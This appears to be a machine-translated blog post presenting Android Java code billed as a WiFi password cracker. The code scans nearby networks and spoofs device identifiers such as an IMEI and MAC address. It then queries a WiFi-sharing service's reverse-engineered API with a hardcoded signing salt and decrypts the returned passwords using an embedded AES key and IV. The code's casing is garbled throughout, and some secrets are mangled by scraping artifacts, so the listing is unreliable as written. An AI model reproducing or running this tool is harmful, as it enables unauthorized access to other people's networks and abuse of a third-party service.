WiFi password cracking function (only partially encrypted mode of WiFi)

650) this.width=650; "Src=" Http://s1.51cto.com/wyfs02/M01/86/FF/wKioL1fQ8bDhlxx4AAHgvgVy4f4655.png-wh_500x0-wm_3 -wmp_4-s_2720191977.png "title=" Wifi.png "alt=" Wkiol1fq8bdhlxx4aahgvgvy4f4655.png-wh_50 "/>

SSID is the WiFi name, password is wifi password, (to be able to crack the network situation)

Main code:

public class Mainactivity extends Activity

{

Context Mcontext = this;

TextView TextView;

Wifistatus Wifistatus;

Handler Mhandler;

final int update_text = 1;

@Override

protected void OnCreate (Bundle savedinstancestate)

{

Super.oncreate (savedinstancestate);

Setcontentview (R.layout.activity_main);

TextView = (TextView) Findviewbyid (r.id.content);

Wifistatus = new Wifistatus (mcontext);

Mhandler = new Handler ()

{

public void Handlemessage (Message msg) {

Switch (msg.what) {

Case Update_text:

Textview.settext (Msg.obj.toString ());

Break

}

}

};

Showwifistatus ();

}

public void Btnwifi (View v)

{

try {

Toast.maketext (mcontext, "Query ...", Toast.length_short). Show ();

New Thread (New Runnable () {

@Override

public void Run () {

try {

Message msg = new Message ();

Msg.what = Update_text;

Msg.obj = new Mkquerypwd (). GETPWD ();

Mhandler.sendmessage (msg);

} catch (Exception e) {

E.printstacktrace ();

}

}

}). Start ();

} catch (Exception e) {

E.printstacktrace ();

}

}

public void Showwifistatus () {

Wifistatus.scanwifi ();

Textview.settext ("");

}

}

public class Wifistatus {

Wifimanager Wifimanager;

Static list<scanresult> wifilist;

Public Wifistatus (Context mcontext) {

Wifimanager = (Wifimanager) mcontext.getsystemservice (Context.wifi_service);

if (!wifimanager.iswifienabled ()) {

Wifimanager.setwifienabled (TRUE);

Toast.maketext (Mcontext, "WiFi boot ...", toast.length_short). Show ();

}

}

public void Scanwifi () {

Wifimanager.startscan ();

Wifilist = Wifimanager.getscanresults ();

}

}

public class Mkquerypwd {

Public String getpwd () throws exception{

String Salt = "[Email Protected]*jq%kol";

map<string, string> map = new treemap<> ();

Map.put ("och", "Wandoujia");

Map.put ("II", "");

Map.put ("AppID", "0001");

Map.put ("pid", "Qryapwd:commonswitch");

Map.put ("Lang", "cn");

Map.put ("V", "58");

Map.put ("Uhid", "a0000000000000000000000000000001");

Map.put ("Method", "Getdeepsecchkswitch");

Map.put ("St", "M");

Map.put ("Chanid", "Guanwang");

Map.put ("sign", "");

Map.put ("Bssid", "" ");

Map.put ("SSID", "");

Map.put ("Dhid", This.getdhid ());

Map.put ("Mac", "d8:86:e6:6f:a8:7c");

StringBuilder bssid = new StringBuilder ();

StringBuilder SSID = new StringBuilder ();

for (Scanresult i:wifistatus.wifilist) {

Bssid.append (I.BSSID). Append (",");

Ssid.append (I.SSID). Append (",");

}

Map.put ("Bssid", bssid.tostring ());

Map.put ("SSID", ssid.tostring ());

Map.put ("Sign", getsign (map, salt));

String response = sendrequest (map);

Jsonobject jsonobject = new Jsonobject (response);

Jsonobject PSWs = Jsonobject.getjsonobject ("Qryapwd"). Getjsonobject ("PSWs");

iterator<string> Iterator = Psws.keys ();

StringBuilder result = new StringBuilder ();

while (Iterator.hasnext ()) {

String item = Iterator.next ();

String encryptpwd = Psws.getjsonobject (item). getString ("pwd");

String decryptpwd = Decrypt (ENCRYPTPWD);

int pwdlength = integer.parseint (decryptpwd.substring (0, 3));

String pwd = decryptpwd.substring (3, Decryptpwd.length ()-1). substring (0, pwdlength);

String name = Psws.getjsonobject (item). getString ("SSID");

Result.append ("BSSID:"). Append (item). Append ("\nssid:"). Append (name). Append ("\ n Password:"). Append (pwd). Append ("\ n") ;

}

if (Textutils.isempty (result.tostring ())) {

Return "No password found ˉ\\_ (mitsujo) _/ˉ";

}

return result.tostring ();

}

Public String Getdhid () throws Exception {

String Salt = "[Email Protected]*jq%kol";

map<string, string> map = new treemap<> ();

Map.put ("Capbssid", "d8:86:e6:6f:a8:7c");

Map.put ("Model", "nexus+4");

Map.put ("och", "Wandoujia");

Map.put ("AppID", "0001");

Map.put ("Mac", "d8:86:e6:6f:a8:7c");

Map.put ("Wkver", "2.9.38");

Map.put ("Lang", "cn");

Map.put ("Capbssid", "Test");

Map.put ("Uhid", "" ");

Map.put ("St", "M");

Map.put ("Chanid", "Guanwang");

Map.put ("Dhid", "" ");

Map.put ("OS", "Android");

Map.put ("SCRs", "768");

Map.put ("Imei", "355136052333516");

Map.put ("Manuf", "LGE");

Map.put ("Osvercd", "19");

Map.put ("II", "355136052391516");

Map.put ("Osver", "5.0.2");

Map.put ("pid", "Initdev:commonswitch");

Map.put ("Misc", "Google/occam/mako:4.4.4/ktu84p/1227136:user/release-keys");

Map.put ("sign", "");

Map.put ("V", "58");

Map.put ("Sim", "");

Map.put ("Method", "Gettouristswitch");

Map.put ("Scrl", "1184");

Map.put ("Sign", getsign (map, salt));

String Dhid;

String response = sendrequest (map);

Jsonobject jsonobject = new Jsonobject (response);

Dhid = Jsonobject.getjsonobject ("Initdev"). GetString ("Dhid");

return dhid;

}

Public String getsign (map map, String salt) throws Exception {

String value = "";

For (Object O:map.entryset ()) {

map.entry<string, string> Entry = (map.entry) o;

Value + = Entry.getvalue ();

}

Value + = salt;

MessageDigest messagedigest = messagedigest.getinstance ("MD5");

Byte[] Digest = messagedigest.digest (Value.getbytes ("UTF-8"));

BigInteger number = new BigInteger (1, Digest);

String MD5 = number.tostring (16);

while (Md5.length () < 32) {

MD5 = "0" + MD5;

}

return Md5.touppercase ();

}

Public String Getrequestdata (Map params) throws Exception {

StringBuilder StringBuilder = new StringBuilder ();

For (Object O:params.entryset ()) {

map.entry<string, string> Entry = (map.entry) o;

Stringbuilder.append (Entry.getkey ()). Append ("="). Append (Urlencoder.encode (Entry.getvalue (), "UTF-8"). Append (" & ");

}

Stringbuilder.deletecharat (Stringbuilder.length ()-1);

return stringbuilder.tostring ();

}

Public String SendRequest (Map params) throws exception{

URL url = new URL ("Http://wifiapi02.51y5.net/wifiapi/fa.cmd");

HttpURLConnection httpurlconnection = (httpurlconnection) url.openconnection ();

Httpurlconnection.setdoinput (TRUE);

Httpurlconnection.setdooutput (TRUE);

Httpurlconnection.setrequestmethod ("POST");

Httpurlconnection.setusecaches (FALSE);

Httpurlconnection.setinstancefollowredirects (TRUE);

Httpurlconnection.setrequestproperty ("Content-type", "application/x-www-form-urlencoded");

Httpurlconnection.setrequestproperty ("Host", "wifiapi02.51y5.net");

Httpurlconnection.setrequestproperty ("Accept", "Text/plain");

Httpurlconnection.connect ();

BufferedWriter bufferedwriter = new BufferedWriter (New OutputStreamWriter (Httpurlconnection.getoutputstream ()));

Bufferedwriter.write (Getrequestdata (params));

Bufferedwriter.flush ();

Bufferedwriter.close ();

BufferedReader BufferedReader = new BufferedReader (New InputStreamReader (Httpurlconnection.getinputstream ()));

StringBuilder response = new StringBuilder ();

String Line;

while (line = Bufferedreader.readline ())!=null) {

Response.append (line) append ("\ n");

}

Bufferedreader.close ();

Httpurlconnection.disconnect ();

return response.tostring ();

}

public string Decrypt (string encryptpwd) throws exception{

String key = "[email protected] ' ~78vlsvpos";

String IV = "J#[email PROTECTED]!3JNV";

Secretkeyspec Secretkey = new Secretkeyspec (Key.getbytes (), "AES");

Ivparameterspec Ivparameterspec = new Ivparameterspec (Iv.getbytes ());

Cipher Cipher = cipher.getinstance ("aes/cbc/nopadding");

Cipher.init (Cipher.decrypt_mode, Secretkey, Ivparameterspec);

return new String (Cipher.dofinal (Hex2byte (ENCRYPTPWD)));

}

Public byte[] Hex2byte (String hex) {

byte[] Output = new Byte[hex.length ()/2];

for (int i = 0,j = 0; i < hex.length (); i + = 2, j + +)

{

String str = hex.substring (i, i + 2);

OUTPUT[J] = (byte) integer.parseint (str, 16);

}

return output;

}

}

WiFi password cracking function (only partially encrypted mode of WiFi)